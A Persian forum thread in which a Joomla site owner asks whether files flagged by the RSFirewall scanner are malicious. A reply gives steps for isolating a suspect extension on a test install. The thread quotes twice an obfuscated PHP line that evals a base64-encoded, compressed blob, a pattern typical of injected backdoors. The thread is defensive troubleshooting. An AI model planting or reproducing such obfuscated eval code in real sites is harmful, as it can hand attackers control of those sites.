ایراد rsfirewall از چند کد

[mehdi_mmy 10]

سلام

rsfirewall از فایل default.php داخل پوشه language و چند فایل دیگه به همین نام ایراد گرفته و گفته ممکنه که این کدها مخرب باشن

کسی میتونه کمکم کنه؟ ایا این کدها مخرب هستش و باید پاک کنم یا این ها مشکلی ندارن؟

تشکر

این هم کدهای گفته شده

<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>

[gholami_sam 10]

سلام

rsfirewall از فایل default.php داخل پوشه language و چند فایل دیگه به همین نام ایراد گرفته و گفته ممکنه که این کدها مخرب باشن

کسی میتونه کمکم کنه؟ ایا این کدها مخرب هستش و باید پاک کنم یا این ها مشکلی ندارن؟

تشکر

این هم کدهای گفته شده

<?php eval(gzinflate(base64_decode("BcFJkqowAADQu/Squ1xAlLG6eiEiCjIaBnHzC0kYgxiCgJz+v4enjHyXa/0sSDbi70fGsCT8QzjvEf7+0nLDamk/7/d68Oaul5qPDmang0NrnCJkascQc3MNG/10DMKJK+AWQVkVH0pOqEMzuXa1SPAVkqG5k7DwLERwNl+dfW8EzZ7MunM2TH+X0F8PymkdniEvp51cFrFg1JnnAMWrlSdL14aMGnQf/l0UumFrsaXIi8Q95ejF/Hi6Hp+kTvDAnFnivY5VEifzytAp8KDnEvIwuHOzFHsU1KmaNM86jsYWj+zmKvYuBNkHNPv6NXkRsw1tiicE7eFYJVReF/14tVSNitkYaJYgTwEgwDl3drtZtJWo5cmFyIBhYdJ34D+cih8vmWfn1/PQw+zKy/5yGgzZ7q3qfLvbRcRQjUkLJUezqDe4R4Qmc9eFUA5K1JE73HPOk6ekKjFdZpTk9mDLNIh7zKDHN8mCxFJIRGlh5r6FqpbdycsNrLAHa9r1ieOyXoh6DlScukUfck7NtypWurirga7AzkszOheMNnXE580GtTczomgrodwvPQTKZAT7j2heuFvv27JREPUyvyL3bMa0+lgtr1wdrB3SmEU3ebvhdlMx//19/fz8/P4H"))); ?>

سلام

من هم از RSfirewall به تازگی استفاده کردم .. نرم افزار سختگیریه.. بهتره سایتتون رو اینجا هم چک کنید اگر تو اون سایت هم پیغام داد حتما پیگیری کنید چون مطمئناً قضیه جدیه!. منم یک اسلایدر داشتم که کد مخرب داشت و متوجه اون شدم.

مراحل شناسایی افزونه دارای کد مخرب ، به این ترتیبه:

اول اگر یه دامین بی کار دارید اون رو به صورت یک Addon domain ستش کنید و داخل روت پوشه مربوطه یک جوملای خام نصب کنید. حال شروع کنید تک تک افزونه هاتون رو نصب و سپس با استفاده از سایت ذکر شده سایتتون رو آنالیز کنید. تک به تک . دقت کنید در هر بار آنالیز کردن وبسایتتون از کلید RE-SCAN استفاده کنید تا از کش موجود استفاده نشه!! به این ترتیب میتونید افزونه مخرب رو پیدا و اون رو با افزونه ای سالم جایگزین کنید.. موفق باشید.

ضمن تشکر از استاد افضلی بخاطر معرفی این سایت مفید.

ویرایش شده در تیر 92 توسط gholami_sam